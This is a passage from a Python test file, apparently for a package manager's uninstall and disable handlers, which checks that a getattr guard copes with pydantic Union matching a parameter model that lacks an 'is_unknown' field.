self._run_nightly_lookup(mgr, 'my-test-pack')
)
assert result == 'https://github.com/test/my-test-pack'
# ===================================================================
# Test 2: getattr guard in do_uninstall / do_disable
# ===================================================================
class TestGetAttrGuard:
"""do_uninstall and do_disable use getattr(params, 'is_unknown', False)
to guard against pydantic Union matching UpdatePackParams (which lacks
is_unknown field) instead of UninstallPackParams/DisablePackParams."""
def test_getattr_on_object_with_is_unknown(self):
"""Normal case: params has is_unknown -> returns its value."""
params = types.SimpleNamespace(node_name='test-pack', is_unknown=True)
assert getattr(params, 'is_unknown', False) is True
def test_getattr_on_object_without_is_unknown(self):
"""Bug case: params is UpdatePackParams-like (no is_unknown) -> returns False."""
params = types.SimpleNamespace(node_name='test-pack', node_ver='1.0.0')
# Without getattr guard, this would be: params.is_unknown -> AttributeError
assert getattr(params, 'is_unknown', False) is False
def test_getattr_default_false_on_missing_attribute(self):
"""Minimal case: bare object with only node_name."""
params = types.SimpleNamespace(node_name='test-pack')
assert getattr(params, 'is_unknown', False) is False
def test_pydantic_union_matching_demonstrates_bug(self):
"""Demonstrate why getattr is needed: pydantic Union without discriminator
can match UpdatePackParams for uninstall/disable payloads."""
from pydantic import BaseModel, Field
from typing import Optional, Union
class UpdateLike(BaseModel):
node_name: str
node_ver: Optional[str] = None
class UninstallLike(BaseModel):
node_name: str
is_unknown: Optional[bool] = Field(False)
# When Union tries to match {"node_name": "foo"}, UpdateLike matches first
# because it has fewer required fields and node_name satisfies it
class TaskItem(BaseModel):
params: Union[UpdateLike, UninstallLike]
item = TaskItem(params={"node_name": "foo"})
# The matched type may be UpdateLike (no is_unknown attribute)
# This is the exact scenario the getattr guard protects against
is_unknown = getattr(item.params, 'is_unknown', False)
# Regardless of which Union member matched, getattr safely returns a value
assert isinstance(is_unknown, bool)
File diff suppressed because it is too large Load Diff